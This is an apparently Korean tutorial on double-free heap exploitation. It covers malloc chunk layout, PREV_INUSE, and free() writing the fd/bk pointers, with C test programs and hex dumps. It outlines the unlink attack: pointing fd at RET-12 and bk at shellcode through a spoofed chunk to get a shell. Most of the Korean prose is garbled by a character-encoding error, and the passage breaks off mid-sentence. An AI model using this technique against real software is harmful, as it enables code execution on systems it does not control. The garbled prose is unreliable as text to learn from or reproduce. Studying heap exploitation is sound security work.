ÇØÅ·±â¹ý (Double Free Bug) Format String Bug ¿Í ÇÔ²² Á¦ 3¼¼´ë ÇØÅ·±â¹ýÀ̶ó ºÒ¸®¿ì´Â ´õºíÇÁ¸®¹ö±×¿¡ °üÇÏ¿© °øºÎÇغ¸°Ú´Ù. º» ±â¹ýÀº Heap Base OverflowÀÇ ±â¹ýÀ» ±âº»ÀüÁ¦·Î ÇÑ´Ù.(¸ð¸£¸é ¿ì¼± °øºÎÇÏ½Ã°í ¿À¼¼¿ë) 1. Heap ±× È­·ÁÇÑ º¯½Å ¿ì¸®´Â ¾Õ¼­ Overflow±â¹ýÀ» °øºÎÇÔ¿¡ À־ Heap¿µ¿ªÀÇ Overflow¸¦ °øºÎÇÑÀûÀÌ ÀÖ´Ù. ±×·¯³ª Stack¿µ¿ª°ú´Â ´Þ¸® Heap¿µ¿ªÀÇ Over´Â ¿ì¸®°¡ ¿øÇÏ´Â ±ÇÇÑȹµæ°úÁ¤¿¡¼­ RET³ª ±âŸ ELF¿µ¿ªÀÇ ½ÇÇà°¡´ÉÇÑ Äڵ带 º¯Á¶Çϴµ¥ ´Ù¼Ò ¾î·Á¿òÀÌ ÀÖ¾ú´Ù. ÀÌ·¯ÇÑ ÀÌÀ¯·Î ÀÎÇÏ¿© Heap¿¡´ëÇÑ ³Ã´ë(?)¿Í ¸ê½Ã(?)´Â ÇØÄ¿µé »çÀÌ °ø°ø¿¬ÇÑ »ç½ÇÀÌ¿´´Ù...¤»¤»¤» ±×·¯³ª 2002³âÃÊ ³Ã´ë¿Í ¸ê½Ã¿¡¼­ ¶³ÃÄÀϾ HeapÀÇ ¹Ý¶õÀÌ ½ÃÀ۵Ǵµ¥... 2. free / mallocÀÇ ÀÌÇØ ÇÁ·Î±×·¥Áß Heap¿µ¿ªÀº ÈçÈ÷ Àá½Ã ÀúÀåÇÏ¿´´Ù°¡ ÇÁ·Î±×·¥È帧¿¡ µµ¿òÀ» ÁÖ´Â ¾ÆÁÖ Áß¿äÇÑ °ø°£ÀÌ´Ù. ÀÌ·¯ÇÑ heap ¿µ¿ªÀÇ Á¤ÀÇ´Â calloc(), malloc(), realloc() µîÀÇ ÇÔ¼ö¸¦ ÅëÇÏ¿© ±¸ÇöµÇ¸ç »ç¿ëµÈ ¸Þ¸ð¸®¸¦ ¹Ýȯ ÇÒ¶§´Â free() ÇÔ¼ö·Î¼­ ¹ÝȯÇÏ°Ô µÈ´Ù. Àá½Ã man page¸¦ º¸µµ·Ï ÇÏÀÚ.. $ man malloc MALLOC(3) Linux Programmer's Manual MALLOC(3) NAME calloc, malloc, free, realloc - Allocate and free dynamic memory SYNOPSIS #include void *calloc(size_t nmemb, size_t size); void *malloc(size_t size); void free(void *ptr); void *realloc(void *ptr, size_t size); DESCRIPTION calloc() allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to zero. malloc() allocates size bytes and returns a pointer to the allocated memory. The memory is not cleared. free() frees the memory space pointed to by ptr, which must have been returned by a previous call to malloc(), calloc() or realloc(). Otherwise, or if free(ptr) has already been called before, undefined behaviour occurs. If ptr is NULL, no operation is performed. ~ ~ ~ GNU (END) man page¿¡¼­µµ º¼¼ö ÀÖµíÀÌ mallocÇÔ¼ö´Â µ¿ÀûÀ¸·Î ¸Þ¸ð¸®¸¦ ÇÒ´ç(Allocate dynamic memory)ÇØÁÖ´Â ÇÔ¼ö ÀÓÀ» ¾Ë¼öÀÖ°í ¶ÇÇÑ ¸Þ¸ð¸®¸¦ »ç¿ëÈÄ ¹ÝȯÇØÁÖ´Â °úÁ¤(Free dynamic memory)À» freeÇÔ¼ö¸¦ °ÅÄ¡¸é¼­ ¼öÇàÇϰԵȴÙ. °£´ÜÇÑ ¿¹Á¦¸¦ º¸µµ·Ï ÇÏÀÚ. //test1.c #include main(int argc, char *argv[]) { char *mol; mol = malloc(128); if ( argc< 2) { fprintf(stderr, "error args\n" ); exit(0); } strcpy( mol , argv[1] ); printf ("mol : %s , 0x%x\n",mol,mol); free(mol); } $./test1 aaaa mol : aaaa , 0x80497b8 °£´ÜÇÏ°Ô malloc ÇÔ¼ö¸¦ ÀÌ¿ëÇؼ­ heap¿µ¿ª ÁÖ¼Ò 0x80497b8 ¿¡ aaaa¶ó´Â ½ºÆ®¸µÀ» ÀÔ·ÂÇÑ°ÍÀ» º¼¼ö ÀÖ¾ú´Ù. 3. malloc¿¡ ÀÇÇÑ µ¿Àû¸Þ¸ð¸®ÀÇ ±¸Á¶ ÀÚ ±×·³ mallocÀ¸·Î ±¸ÇöµÈ ¸Þ¸ð¸®ÀÇ ±¸Á¶´Â ¾î¶»°Ô »ý°Ü¸Ô¾úÀ»±î? ¿ì¸®ÀÇ ¿µ¿øÇÑ ºÐ¼®µµ±¸ dumpcode.h¸¦ ÀÌ¿ëÇÏ¿© ±¸°æÁ» Çغ¸ÀÚ.. //test2.c #include #include "dumpcode.h" main(int argc, char *argv[]) { char *mol1; char *mol2; mol1 = malloc(16); mol2 = malloc(32); if ( argc< 2) { fprintf(stderr, "error args\n" ); exit(0); } strcpy( mol1 , argv[1] ); strcpy( mol2 , argv[2] ); dumpcode(mol2-28,64); free(mol1); dumpcode(mol2-28,64); free(mol2); dumpcode(mol2-28,64); } $./test2 AAAA BBBB 0x08049a74 19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ....AAAA........ 0x08049a84 00 00 00 00 00 00 00 00 29 00 00 00 42 42 42 42 ........)...BBBB 0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ <<---------- free(mol1)Àü heapÀÇ ±¸Á¶ 0x08049a74 19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00 .......@...@.... 0x08049a84 00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42 ........(...BBBB 0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ <<---------- free(mol1)ÈÄ heapÀÇ ±¸Á¶ 0x08049a74 91 05 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00 .......@...@.... 0x08049a84 00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42 ........(...BBBB 0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ <<---------- free(mol2)ÈÄ heapÀÇ ±¸Á¶ º¹ÀâÇÑ°Í °°À¸³ª Â÷±ÙÂ÷±Ù º¸¸é ±×´ÙÁö ¾î·ÆÁö ¾Ê´Ù.^^ ¿ì¼± ù¹ø° dump¸¦ º¸µµ·Ï ÇÏÀÚ. ´ÙÀ½°ú °°Àº µµ½ÄÀûÀÎ ±¸Á¶¸¦ º¼¼ö ÀÖ´Ù. [chunk(mol1)Å©±â:dec16+8+1][mol1:16][junk:4][chunk(mol2)Å©±â+8+1][mol2:16]... À½...¿ì¼± ¼±¾ðµÈ µ¿Àû¸Þ¸ð¸®´Â À§¿Í °°ÀÌ [Å©±â¼±¾ð][ÇÒ´ç°ø°£] À¸·Î ¸¸µé¾î Áö´Â°ÍÀ» º¼¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ heap°ø°£ÀÇ ¸Þ¸ð¸® ÇÒ´ç ±¸¿ªÀ» chunk¶ó ÇÑ´Ù. ±×·³ µÎ¹ø° free(mol1)¿¡ ÀÇÇÑ heap±¸Á¶¸¦ º¸µµ·Ï ÇÏÀÚ. free(mol1)¿¡ ÀÇÇؼ­ mol1¿¡ ÇÒ´çµÈ ¸Þ¸ð¸®´Â ¹ÝȯµÇ°í ±×°ø°£¿¡ ¾î¶² Æ÷ÀÎÅÍ °ªÀÌ µé¾î°£°ÍÀ» º¼¼ö Àִµ¥ ±× ±¸Á¶´Â ´ÙÀ½°ú °°ÀÌ µµ½ÄÀûÀ¸·Î ±¸ºÐÇÒ¼öÀÖ´Ù. [mol1 Å©±â][fd:4][bk:4][...][mol1Å©±â][mol2Å©±â][data]... ¿©±â¼­ ¿ì¸®´Â fd ¿Í bk ÀÇ ¿ªÇÒÀ» »ìÆ캸µµ·Ï ÇÏÀÚ. fd(Forward pointer to next chunk in list)´Â ´ÙÀ½ chunk¸¦ °¡¸£Å°´Â pointer ÀÌ°í, bk(Back Pointer to previous chunk in list)´Â ÀÌÀü chunk¸¦ °¡¸£Å°´Â pointer ÀÌ´Ù. ÀÌ·¸°Ô heap°ø°£¿¡ ÇÒ´çµÇ°í freeµÈ ÇüÅ¿¡¼­ fd¿Í bk´Â ÇÁ·Î±×·¥¿¡¼­ freeµÈ ÀÌÀüÀÇ °ø°£À» Ž»öÇؼ­ Àç ÇÒ´çÇϴµî Á»´õ ¸Þ¸ð¸®¸¦ È¿À²ÀûÀ¸·Î °ü¸®ÇÏ´Â °÷¿¡ ¾²ÀÌ°Ô µÈ´Ù. ÀÏ´Ü, Á¤¸®Çؼ­ »ìÆ캸¸é ÀÌ·¯ÇÑ ±¸Á¶¸¦ °¡Áö°Ô µÈ´Ù. [malloc1,2 ¼±¾ð] [size1][data1][size2][data2]..... [free1 ÈÄ] [size1][fd][bk]...[size1][size2][data] 4. Free ¸ÞÄ¿´ÏÁòÀÇ ÀÌÇØ ÀÚ ¾Õ¼­ ±¸Á¶¸¦ ´ë·« »ìÆì º¸¾Ò´Ù, º»°ÝÀûÀ¸·Î free ÇÔ¼ö¿¡ ÀÇÇÏ¿© »ý¼ºµÈ fd,bk°¡ ¾î¶°ÇÑ ¿ªÇÒÀ» ÇÏ°í dubli linked list¿¡¼­ ¾î¶°ÇÑ ¹æ½ÄÀ¸·Î º¯°æµÇ´Â°¡¸¦ »ìÆ캸µµ·Ï ÇÏÀÚ, À̺κÐÀº DFB¸¦ ÀÌÇØÇϴµ¥ °¡Àå Áß¿äÇÑ ÇÙ½ÉÀ̶ó°í ÇÒ ¼ö ÀÖÀ¸¸ç, À̺κÐÀ» ÀÌÇØÇϴµ¥ ¸¹Àº ½Ã°£À» ÅõÀÚÇÏ¿©¾ß ÇÒ °ÍÀ̶ó°í »ý°¢ÇÑ´Ù. ¹Ýµå½Ã °ø°Ý¹æ¹ýÀ» ÀÍÈ÷±â Àü¿¡ ÀÌÇØÇϽñ⠹ٶõ´Ù...(²À!! -°ø°Ý¹æ¹ý¸¸ ÀÍÇô¼­ ½á¸ÔÀ¸¸é ¹º ¼Ò¿ëÀÌ ÀÖÀ¸·ª.-) //test3.c #include #include "dumpcode.h" main(int argc, char *argv[]) { char *mol1; char *mol2; char *mol3; mol1 = malloc(16); mol2 = malloc(16); mol3 = malloc(16); if ( argc< 2) { fprintf(stderr, "error args\n" ); exit(0); } strcpy( mol1 , argv[1] ); strcpy( mol2 , argv[2] ); strcpy( mol3 , argv[3] ); dumpcode(mol2-28,64); free(mol1); dumpcode(mol2-28,64); free(mol2); dumpcode(mol2-28,64); free(mol3); } $./test3 AAAA BBBB CCCC 0x08049ab4 19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ....AAAA........ 0x08049ac4 00 00 00 00 00 00 00 00 19 00 00 00 42 42 42 42 ............BBBB 0x08049ad4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049ae4 19 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00 ....CCCC........ 0x08049ab4 19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00 .......@...@.... 0x08049ac4 00 00 00 00 18 00 00 00 18 00 00 00 42 42 42 42 ............BBBB 0x08049ad4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049ae4 19 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00 ....CCCC........ 0x08049ab4 31 00 00 00 30 ef 14 40 30 ef 14 40 00 00 00 00 1...0..@0..@.... 0x08049ac4 00 00 00 00 18 00 00 00 18 00 00 00 42 42 42 42 ............BBBB 0x08049ad4 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 ............0... 0x08049ae4 18 00 00 00 43 43 43 43 00 00 00 00 00 00 00 00 ....CCCC........ ´Ù½Ã ºñ½ÁÇÑ ´ýÇÁÀÌ´Ù.(Â÷±ÙÂ÷±Ù ¾ÈÇϸé Áß°£¿¡ Çò°¥·Á¼­ ¹¹°¡¹ºÁö...^^) À̹ø¿¡ ¿ì¸®°¡ ´«¿©°Ü º¸¿Í¾ß Çϴ°ÍÀº freeÀÇ ¸ÞÄ¿´ÏÁòÀÌ´Ù...Áï, º´ÇÕ°úÁ¤À» °øºÎÇغ¸·Á´Â°ÍÀε¥.. free(mol2)¿¡ ÀÇÇؼ­ ¾î¶°ÇÑ ÀÏÀÌ ¹ß»ýµÇ¾ú´Â°¡¸¦ ÀÚ¼¼È÷ »ìÆ캸¸é, ¿ì¼± ¾Õ¼­ freeµÈ size1ÀÇ Å©±â°¡ º¯°æµÇ°í, fd,bkµµ º¯°æµÈ°ÍÀ» º¼ ¼ö ÀÖ´Ù. ±× Áõ°¨Àº size2ÀÇ Å©±â¿Í µ¿ÀÏÇÑ°ÍÀ» º¼¼ö Àִµ¥...ÀÌó·³, ¾Õ¼± ¸Þ¸ð¸®°¡ freeµÇ¾îÀÖ°æ¿ì Àç »ç¿ë°¡´ÉÇÑ ºí·°¼ö¸¦ ÁÙÀÌ°í, Å©±â¸¦ ´Ã¸®±â À§Çؼ­ ÇÕº´ÀÌ µÈ´Ù. ÀÌ·¯ÇÑ ¹æ½ÄÀÇ free¸ÞÄ¿´ÏÁòÀº free°¡ È£ÃâµÉ¶§¸¶´Ù ½ÃÇàµÇ¸ç Çϳª·Î ÇÕÃÄÁö°Ô µÈ´Ù. chunkÀÇ ÇÕº´Àº PREV_INUSE¶ó´Â µ¶Æ¯ÇÑ ÇÁ·¡±×¸¦ üũÇÏ¿© ½ÃÇàµÇ´Âµ¥ sizeÀÇ ÃÖÇÏÀ§ ºñÆ®°¡ ¹Ù·Î ±×³ÑÀÌ´Ù.Áï, »çÀÌÁîÀÇ °ªÀ» ±¸¼ºÇÏ´Â 4byteÁß ÇÏÀ§ 3bit´Â µ¶Æ¯ÇÑ ¿ªÈ°À» Çϴµ¥ ³ª¸ÓÁö´Â °¢ÀÚ °øºÎÇغ¸½Ã°í ¸¶Áö¸· 1bitÀÇ °ªÀÌ 0ÀÌ¸é º´ÇÕ°úÁ¤À» ¼öÇàÇϰԵȴÙ. (1À̸é?..¾Õchunk°¡ »ç¿ëÁßÀÎ°É·ç ¾ËÁö..) (¿©±â¼­ Àá±ñ...bitÀÔ´Ï´Ù...byte°¡ ¾Æ´Ï±¸..8bit=1byte: Áï 2Áø¼ö °ªÀ» ÀǹÌÇÕ´Ï´Ù. Çì±ò¸®Áö ¸¶½Ã±æ^^) ÀÚ, ¿©±â¼­ ¿ì¸®°¡ ÁÖ¸ñÇØ¾ß ÇÒ ºÎºÐÀº ¾Õ¿¡¼­ ¾ð±ÞµÈ fd, bk ÀÌ´Ù. ÀÌ µÎ°¡ÁöÀÇ Æ÷ÀÎÅÍ´Â free°úÁ¤¿¡¼­ »ý¼ºµÇ¸ç µÎ °ªÀº ¼­·Î ġȯ °úÁ¤À» °ÅÄ¡°Ô µÈ´Ù. À̶§ ¸¸¾à À̳ÑÀ» ¾î¶»°Ôµç º¯Á¶ ÇÒ ¼ö ÀÖ´Ù¸é.... ½Ç·Î Àç¹Ì³­ ÀÏÀÌ ¹ú¾îÁú°Í ÀÌ´Ù. 5. fd, bk À̻۳Ñ! (¿ì¸®ÀÇ Ä£±¸ Æ÷.ÀÎ.ÅÍ^^) ½ºÅð¡µå¸¦ ȸÇÇÇÒ¶§µµ Æ÷ÀÎÅÍ´Â ¿ì¸®ÀÇ Ä£±¸¿´´Ù..^^. ÀÚ ±×·³ fd ¿Í bk°¡ ¾î¶² ÀÏÀ» ¹úÀÌ´ÂÁö ¾Ë¾Æº¸µµ·Ï ÇÏÀÚ. //test4.c #include #include "dumpcode.h" main(int argc, char *argv[]) { char *mol1; char *mol2; int *fd, *bk; mol1 = malloc(16); mol2 = malloc(16); fd = mol1; //<--- freeÈÄ fdÀÇ À§Ä¡ bk = mol1+4; //<--- freeÈÄ bkÀÇ À§Ä¡ if ( argc< 2) { fprintf(stderr, "error args\n" ); exit(0); } strcpy( mol1 , argv[1] ); dumpcode(mol2-28,64); free(mol1); (*bk) +=16; //<--- ÀÓÀÇ·Î bk¸¦ º¯°æÇÔ dumpcode(mol2-28,64); free(mol2); dumpcode(*fd,16); dumpcode(*bk,16); } $./test4 aaaa 0x08049a94 19 00 00 00 61 61 61 61 00 00 00 00 00 00 00 00 ....aaaa........ 0x08049aa4 00 00 00 00 00 00 00 00 19 00 00 00 00 00 00 00 ................ 0x08049ab4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049ac4 41 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A............... 0x08049a94 19 00 00 00 18 ef 14 40 28 ef 14 40 00 00 00 00 .......@(..@.... 0x08049aa4 00 00 00 00 18 00 00 00 18 00 00 00 00 00 00 00 ................ 0x08049ab4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049ac4 41 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 A............... 0x4014ef18 10 ef 14 40 10 ef 14 40 90 9a 04 08 28 ef 14 40 ...@...@....(..@ 0x4014ef28 20 ef 14 40 20 ef 14 40 18 ef 14 40 28 ef 14 40 ..@ ..@...@(..@ ÀÚ...¸ÚÁö´Ù... À§ÀÇ ½ÇÇà°á°ú¸¦ º¸¸é¼­ fd¿Í bk°¡ ¾î¶»°Ô ÀÛ¿ëÇϴ°¡¸¦ ¾Ë¾Æº¸µµ·Ï ÇÏÀÚ. (Çѱ¹xxµéÀº ´«À¸·Î ºÁ¾ß ¹Ï¾î - ±è±¸¶ó¹öÁ¯^^) test4¿¡¼­´Â ¾Õ¼­ °øºÎÇÑ freeÈÄ fd¿Í bkÀÇ À§Ä¡¸¦ ¾Ë¾Æº¸°í ±×³ÑµéÀÌ °¡¸£Å°´Â °÷À» ´ýÇÁÇغ¸¾Ò´Ù. ¶ÇÇÑ ÀÓÀÇ·Î bk°ªÀ» º¯°æÇÏ¿© fd¿Í bk°¡ ¼­·Î ¾î¶°ÇÑ ¿ªÈ°À» Çϴ°¡¸¦ ¾Ë¾Æº¸·ÁÇÑ´Ù. fd = 0x4014ef18 bk = 0x4014ef28 (Çò°¥¸®´Ï±ñ ÀÓÀÇ·Î º¯°æÇß´Ù) fd : 0x4014ef18 10 ef 14 40 10 ef 14 40 90 9a 04 08 28 ef 14 40 ¿ì¼± fdÀÇ ½ÃÀÛ¿¡¼­ +12 µÈ À§Ä¡ÀÇ °ªÀ» º¸¸é bkÀÇ ÁÖ¼Ò°¡ µé¾î°£°ÍÀ» º¼¼ö ÀÖ´Ù. ¶Ç, bk : 0x4014ef28 20 ef 14 40 20 ef 14 40 18 ef 14 40 28 ef 14 40 À̹ø¿£ bkÀÇ ½ÃÀÛ¿¡¼­ +8 µÈ À§Ä¡ÀÇ °ªÀº fdÀÇ ÁÖ¼Ò°¡ µé¾î°£°ÍÀ» º¼¼ö ÀÖ´Ù. Áï, free°úÁ¤¿¡¼­ »ý¼ºµÇ´Â fd ´Â, fd°¡ °¡¸£Å°´Â ÁÖ¼Ò¹øÁöÀÇ +12 µÇ´Â°÷¿¡ bk °ªÀ» ³Ö°ÔµÇ°í, bk´Â, bk°¡ °¡¸£Å°´Â ÁÖ¼Ò¹øÁöÀÇ +8µÇ´Â °÷¿¡ fdÀÇ °ªÀ» ³Ö°ÔµÈ´Ù´Â°ÍÀ» ¾Ë¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ Àç¹Ì³­ fd, bkÀÇ Ä¡È¯°úÁ¤Àº ¿ì¸®°¡ heap¿µ¿ªÀ» °ø·«ÇÏ¿© ÀÌÀü°ú ´Ù¸£°Ô shell¸¦ ȹµæÇÒ ¼öÀÖ´Â ºô¹Ì¸¦ Á¦°øÇÑ´Ù. ¿©±â¼­ Çö¸íÇÑ µ¶ÀÚµéÀº °ø°Ý ¹æ¹ýÀ» ±¸»óÇÒ °ÍÀÌ´Ù. ¸¸¾à¿¡ ¿ì¸®°¡ À̵ΰªÀ» ¸¶À½µ¥·Î Á¶Á¤ÇÒ ¼ö ÀÖ´Ù¸é ¿ì¸®°¡ ¿øÇÏ´Â ÁÖ¼Ò¹øÁö(RETµî)¿¡ ƯÁ¤°ªÀ» º¯Á¶ ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¿¹¸¦ µé¾î fd ¿¡ RET-12 À§Ä¡·Î º¯°æÇÏ°í bk ¸¦ shellcode À§Ä¡·Î º¯°æÇÑ´Ù¸é (¿©±â¼­ bk °¡¸£Å°´Â °÷ÀÇ +8 °ªµµ º¯ÇϹǷΠÀ̸¦ ȸÇÇÇÏ´Â ¹æ¹ýÀ» ±¸»óÇØ¾ß ÇÏÁö¸¸..ÀÏ´Ü) ¿ì¸®´Â heap ¿À¹ö¸¦ ÅëÇÏ¿© shell¸¦ ȹµæ ÇÒ¼ö ÀÖÀ»°ÍÀÌ´Ù. Áï, ....[fd:RETloc-12][bk:*shellcode].... ÀÇ °ø°Ý ÄÚµå·Î ... ÀÚ..ÀÌÁ¦ °ø°ÝÇÏ·Á´Â ´ë»óÀº Ž»öµÇ¾ú´Ù... BUT..¾î¶»°Ô? 6. hacking ¼ÓÀÓ¼öÀÇ ¹ÌÇÐ spoof °ø°ÝÀº IP½ºÇªÇο¡¼­ºÎÅÍ ¸ðµç ÇØÅ·±â¹ýÀÇ ±âº»ÀÌ´Ù. RET¸¦ º¯Á¶Çϰųª ±âŸ ´Ù¸¥³ÑÀ» º¯Á¶Çϴ°͵µ ÀÏÁ¾ÀÇ ¸Þ¸ð¸® Spoof ÀΰÍÀÌ´Ù.(¤»¤»¤» ÄÄÅ͸¦ ¼ÓÀÌÀÚ!!) ¾Õ¿¡¼­ °øºÎÇÑ free°úÁ¤ÀÇ fd, bk´Â ¿ì¸®°¡ heap¿µ¿ªÀ» °ø·«Çϴµ¥ À־ ¸Þ¸ð¸® °ªÀ» º¯°æ½Ãų¼ö ÀÖ´Â ¾ÆÁÖ Áß¿äÇÑ °ø°Ý¸ñÇ¥ÀÌ´Ù, ÇÏÁö¸¸ ¾Õ¼­ ´ýÇÁµÈ heap¿µ¿ªÀÇ ¸ð½ÀÀ» º¸¸é ¾Æ¹«¸® BOF¸¦ ÅëÇؼ­ heap°ø°£À» º¯Á¶ ½ÃÄѳõ¾ÆµµfreeÀÌÈÄ¿¡ fd¿Í bk´Â »ý¼ºµÇ¹Ç·Î ¿ì¸®°¡ ¸¸µé¾î ³õÀº °ø°ÝÄÚµå´Â ¾Æ¹«·± ¼Ò¿ëÀÌ ¾ø¾îÁø´Ù. Áï, heap¿µ¿ª¿¡¼­ Á¤»óÀûÀ¸·Î »ý¼ºµÇ´Â fd, bk °ªÀº ¿ì¸®°¡ ÀÔ·ÂÀ» ÅëÇؼ­ º¯Á¶ÇÒ ¼ö ¾ø´Â ±×¸²ÀÇ ¶±ÀÌ´Ù...ÂÁ! ¾Ç~~~~ ±×·³ ¾î¶»°Ô Ç϶ó±¸....!!! ÇØÅ·Àº ¼ÓÀÓ¼öÀÇ ¹ÌÇÐÀ̶ó Çß´ø°¡! ÀÚ Á¤»óÀûÀÎ free°úÁ¤¿¡¼­ »ý¼ºµÈ fd, bk´Â º¯Á¶ ÇÏÁö ¸øÇÑ´Ù¸é, ºñÁ¤»óÀûÀ¸·Î »ý¼ºµÈ fd, bk´Â º¯Á¶ÇÒ ¼ö ÀÖ´Ù´Â ¾ß±×Áö...¤»¤»¤» ´ÙÀ½ ±×¸²À» Àߺ¸ÀÚ.. [chunk 1][chunk2] ------------> [chunk1][.....spoof_chunk1-1.....][chunk2] Àߺ¸¾Ò´Â°¡?....±×·³ ´ÙÀ½½Ã°£¿¡.... °õ°õÈ÷..°í¹ÎÇغ¸½Ã¶ó... ------------------------------------------------------->> To be Countinued hackerleon ¿À·£¸¸¿¡ ¿Ã¸³´Ï´Ù. ¹Ù»µ¼­¸®... Áö³­ ½Ã°£¿¡´Â heapÀÇ ÀϹÝÀûÀÎ ±¸Á¶¿Í Free¸ÞÄ¿´ÏÁòÀÇ ÀϹÝÀûÀÎ ÇüŸ¦ ¾Ë¾Æº¸°í DFB ÀÇ ÇÙ½ÉÀÎ fd, bk°¡ ¾î¶°ÇÑ ¹æ½ÄÀ¸·Î ¿ì¸®¸¦ Áñ°Ì°Ô ÇØÁÙ¼ö ÀÖÀ»Áö¿¡ ´ëÇÑ ºÎºÐÀ» ¾Ë¾Æº¸¾Ò´Ù. À̹ø½Ã°£¿¡´Â ½ÇÀüÀûÀ¸·Î fd¿Í bk¸¦ ¾î¶»°Ô ¿ì¸® ¸¾µ¥·Î Á¶Á¤ÇÒ ¼ö ÀÖÀ»Áö¿¡ ´ëÇѺκÐÀ» °øºÎÇغ¸µµ·Ï ÇÏÀÚ. 1. PREV_INUSE ÇÁ·¡±× ¾Õ¼± ½Ã°£¿¡ ¿ì¸®´Â PREV_INUSE¿¡ °üÇÏ¿© Á¶±Ý ¾Ë¾Æ º¸¾Ò´Ù. Áï, À̳ÑÀÇ ¿ªÈ°Àº ÀÌÀüÀÇ chunk°¡ »ç¿ëÁßÀÎÁö ȤÀº »ç¿ëÁßÀÌ ¾Æ´ÑÁö¸¦ Ç¥½ÃÇØÁÖ´Â ³ÑÀÌ´Ù.(±â¾ï ¾È³ª½Ã¹È ¾Õ °­Á º¸À̼Ò~) À̳ÑÀÇ Æ¯¼ºÀº ÀÌÀüchunk°¡ »ç¿ëÁßÀ̸é "1" ÀÌ°í ±×·¸Ä¡ ¾ÊÀ¸¸é "0" À¸·Î Ç¥½ÃµÇ°ÔµÇ¸ç, ¸¸¾à ¾Õ¼± chunk°¡ freeµÇ°Ô µÇ¸é ±× ´ÙÀ½ chunk´Â ÀÌ°ÍÀ» °Ë»çÇÏ¿©("0"À̸é) º´ÇÕ°úÁ¤À» ÀÏÀ¸Å°°ÔµÈ´Ù. ¾Õ°­ÁÂÀÇ test2 ¿¹Á¦¸¦ ÅëÇؼ­ È®ÀÎÇغ¸ÀÚ. //test2.c #include #include "dumpcode.h" main(int argc, char *argv[]) { char *mol1; char *mol2; mol1 = malloc(16); mol2 = malloc(32); if ( argc< 2) { fprintf(stderr, "error args\n" ); exit(0); } strcpy( mol1 , argv[1] ); dumpcode(mol2-28,64); free(mol1); dumpcode(mol2-28,64); free(mol2); } $./test2 AAAA BBBB <----- pre free(mol1) 0x08049a74 19 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ....AAAA........ 0x08049a84 00 00 00 00 00 00 00 00 29 00 00 00 42 42 42 42 ........)...BBBB 0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ <----- after free(mol1) 0x08049a74 19 00 00 00 18 ef 14 40 18 ef 14 40 00 00 00 00 .......@...@.... 0x08049a84 00 00 00 00 18 00 00 00 28 00 00 00 42 42 42 42 ........(...BBBB 0x08049a94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x08049aa4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ´ýÇÁµÈ ¸Þ¸ð¸®¸¦ »ìÆ캸¸é [mol1Å©±â:4][mol1:16][mol2Å©±â:4][P][mol2:16] ÀÌ·¯ÇÑ ÇüÅÂÀÓÀ» ¾Ë¼ö ÀÖ´Ù. ¿©±â¼­ ÃÖÃÊ mol1ÀÇ Å©±â¸¦ ³ªÅ¸³»´Â °ªÀº 19:HEX = 25:DEC ÀÌ µÇ°í.. À̶§ 25¹ÙÀÌÆ®´Â mol1ÀÇ Å©±â 16 + chunk_boundary + 4 + 1 Àε¥ ¸¶Á÷¸· 1ºñÆ®°¡ mol1ÀÇ ¾ÕÀÇ chunk»óȲÀ» ¾Ë·ÁÁØ´Ù. (½ÇÁ¦·Î mol1¾ÕÀº ¾Æ¹«°Íµµ ¾ø´Ù. µû¶ó¼­ chunk°¡ »ç¿ëÁßÀΰɷΠÁï, º´ÇÕ°úÁ¤ÀÌ ¾ø´Â°ÍÀ¸·Î Àνĵǵµ·Ï) Áß¿äÇÏ°Ô º¸¾Æ¾ß ÇÒ°ÍÀº µÎ¹ø° chunkÀÇ ±¸Á¶Àε¥... ...[mol2Å©±â:4][P]... mol1ÀÌ freeµÇ±âÀüÀÇ °ªÀ» º¸¸é 29:HEX = 41:DEC = 101001:BIN ÀÌ´Ù. Áï, mol2ÀÇ Å©±â 32 + chunk_boundary + 4 + 1ÀÇ °ªÀ» °¡Áö°í Àִµ¥ ÀÌ°ÍÀº mol1ÀÌ freeµÇ±âÀü¿¡ »ç¿ëµÇ°í ÀÖÀ¸¹Ç·Î ¸¶Á÷¸· PREV_INUSE °ªÀ» 1·Î ³ÖÀº°ÍÀÌ´Ù. ÀÌÈÄ mol1ÀÌ freeµÈÈĸ¦ º¸ÀÚ. ...[mol1Å©±â][maol2Å©±â][P]... 28:HEX = 40:DEC = 101000:BIN À̵Ǿî PREV_INUSE °ªÀ» º¯°æ½ÃŲ°ÍÀ» º¼¼ö ÀÖ´Ù(º´ÇÕÀ» ÀÏÀ¸Å°±â À§ÇÔ) À̶§, ¿ì¸®´Â Overflower¸¦ ÅëÇÏ¿© ÀÌ·¯ÇÑ °ªµéÀ» Á¶Á¤ ÇÒ ¼ö ÀÖ´Ù´Â Á¡À» 